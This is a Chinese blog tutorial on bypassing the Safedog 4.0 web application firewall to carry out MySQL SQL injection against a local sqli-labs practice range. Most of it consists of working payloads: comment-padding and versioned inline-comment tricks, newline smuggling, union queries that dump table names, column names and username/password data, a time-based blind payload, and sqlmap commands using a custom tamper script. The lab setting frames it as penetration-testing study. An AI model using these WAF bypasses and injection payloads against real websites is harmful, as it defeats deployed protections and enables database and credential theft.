Safedog 4.0 bypass绕过

安全狗介绍

安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能(结合安全狗云安全中心使用)等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。
这次介绍的就是针对sql注入,如何去绕过安全狗的防护机制。

测试环境

操作系统:windwos10
php集成环境:PHPStudy_pro(下载地址:https://www.xp.cn/download.html)
php版本:5.4.45
Apache版本:2.4.39
MySQL版本:5.7.26

安全狗版本(Apache版):4.0.266(下载地址:http://free.safedog.cn/)

sqli-labs注入靶场(下载地址:https://github.com/Audi-1/sqli-labs)

在安装安全狗前,需要先启动apache服务
cd到apache的**bin**目录
image.png
用管理员权限打开dos命令窗口,运行:

httpd.exe -k install -n apache2.4

开启成功后,win+r打开services.msc打开服务
image.png
在"服务"中可以看到apache2.4服务,即开启成功。
接着就可以安装安全狗了,安装时,会自动填充服务名,直接安装即可。

绕过bypass测试

现在的软WAF一般都是基于正则匹配进行过滤的,厂商需要考虑到用户体验,权衡可用性和安全性。我们需要理解数据库语法、函数、以及特性,从而通过不断fuzz来测试可以用的payload。

1.首先判断注入点:

image.png

2.注释闭合:

image.png
证明存在注入点。

3.and测试

image.png
发现被安全狗拦截,接下来要做的就是测试出被检测到的位置,摸索过滤的规则,从而进行绕过。
我们可以切块测试,比如and 1=1被过滤,我们可以分块进行输入,从而来判断过滤点:

and 						//不拦截
and加一个空格		//不拦截
and 1  					//拦截
and 1= 					//拦截
and 1=1 				//拦截
and =   				//不拦截		 

由上述结果我们可以判断,and(空格)+数字 则会被拦截,那么我们需要对被拦截的语句进行替换或者变形绕过。
首先我们对空格进行替换,看看是否能够绕过waf正则匹配,我们可以使用/**/注释符来代替空格

?id=1' and/**/1=1--+

image.png
可以看到,随着安全狗的升级迭代,现在这种简单的绕过已经没用了。
但可以想到既然是注释符,那么在注释符内加上垃圾字符,也是不会影响数据库语句执行,但有没有可能加上垃圾字符就能绕过安全狗对/**/注释符的过滤呢?可以尝试一下:/*§Fuzz§*/
最简单的方式,可以通过burpsuite自带的爆破功能进行Fuzz测试
image.png
image.png
可以看到,长度为951的payload都是可以进行绕过的

?id=1' and/*//*/1=1--+

image.png
可以看到绕过成功,这就是最简单的一种Fuzz绕过方法。

4.order by 字段判断
?id=-1' order by 3--+

image.png
被拦截,测试被拦截的位置:

order							//不拦截
order加一个空格		//不拦截
order by					//拦截

这里的话,只有order by组合在一起,才会被过滤
还是老办法,尝试/*//*/绕过

?id=1' order/*//*/by 3--+

image.png

5.union select绕过

image.png
常规输入,还是会被过滤,照常,还是需要先测试出被拦截的规则

union
union加一个空格
union select
union select 1

过滤的是union select,直接通过/*//*/进行测试

?id=-1' union/*//*/select 1,2,3--+

结果发现还是会被拦截
image.png
可以重新fuzz一下,尝试其他特殊字符能否绕过/!+-*
image.png
还是有很多组合能绕过的

id=-1' union/*//+/*/select 1,2,3--+

image.png

当然,这里的话,/*//*/也可以配合内联注释/*!...*/进行绕过。
/*! ...*/在很多地方,都是注释的意思,但在mysql中,就不是简单的注释,mysql为了兼容性问题,在开发中,可以将一些仅在mysql中特有的语句放在/*!...*/中,这样的话,这些语句如果在其他数据库中是不会被执行,只有在mysql环境下才会执行。
mysql还允许在!后加上版本号,如果版本号小于等于数据库版本,则执行/*!...*/里面的数据库语句,否则则不执行。
比如:

/*!50001 select * from test */;

这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被执行。
payload如下:

?id=-1' union/*//*//*!50445select*/ 1,2,3--+

image.png
经过Fuzz测试,这里的版本号区间在{0-4}{0-9}44{0-9}、5044{0-9},区间范围内都能绕过

6.database()绕过

直接查数据库,直接被拦截

?id=-1' union/*//*//*!50445select*/ 1,2,database()--+

image.png
经过测试,并不对database关键字进行过滤,而是对database()函数进行过滤,通过////进行绕过
image.png

?id=-1' union/*//*//*!50445select*/ 1,2,database(/*//*/)--+

image.png

7.查询表名

查询security库中的所有表名:
通过测试,不对以下函数进行拦截

group_concat(table_name) 不拦截
from 不拦截
information_schema.tables不拦截
where 不拦截
table_schema不拦截

这里很奇怪,自己测了一下,前面的语句,如果换了其他的绕过方式,那么这里的话,则会对information_schema.tables进行严格过滤。而这里的话,并没有对information_schema.tables进行拦截

?id=-1' union/*//*//*!50445select*/ 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(/*//*/)--+

image.png

information_schema绕过

–+是注释,注释后加%0a换行继续执行

http://172.21.1.130/sqli/Less-1/?id=-1' union/*/!*!**/select 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'--+
http://172.21.1.130/sqli/Less-1/?id=-1' union/*//*//*!50445select*/ 1,2,group_concat(table_name) from /*!--+/*%0ainformation_schema.tables*/ where table_schema=database(/*//*/)--+
http://10.211.55.9:8080/sqli-labs/Less-1/ ?id=-1' union/*/-+-*/select 1,(select/*/-+-*/group_concat(table_name) from /*!--+*//*%0ainformation_schema./*!tables*/ where table_schema=database/*/--/*/()),3%23
?id=-1' union/*//*//*!50445select*/ 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(/*//*/)--+
8.查询字段名

查询users表中的字段名:
通过测试,还是没拦,直接注出字段名

?id=-1' union/*//*//*!50445select*//*//*/1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

image.png

9.获取字段内容

获取users表中的username,password字段内容:
语法不变,直接查数据

?id=-1' union/*//*//*!50445select*//*//*/1,2,group_concat(username,'--',password) from users--+

image.png

后面想了想,如果说数据特别多的话,还是需要用到sqlmap,就根据过滤方法,写了一个tamper,但是发现还是有点bug,时间注入还是存在点问题,后面写完再放出

sqlmap -u "http://172.21.1.130/sqli/Less-1/?id=1" --tamper Safedog2 --random-agent --flush -v 3 --batch --dbms mysql -D security --tables --tech=U

image.png

image.png
盲注:

http://172.21.1.130/sqli/Less-1/?id=1' and/*//*/ (SELECT 4789 FROM (SELECT(SLEEP/*/--/*/(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) /*!14400AS*/ NCHAR),0x20) FROM /*!-- *//*%0aINFORMATION_SCHEMA./*!TABLES*/ WHERE table_schema=0x7365637572697479),1,1))=52,0,5)))))mCyh)-- djVO
sqlmap -u "http://172.21.1.130/sqli/Less-1/?id=1" --tamper Safedog2 --random-agent --flush -v 3 --batch --dbms mysql -D security --tables --tech=T

image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值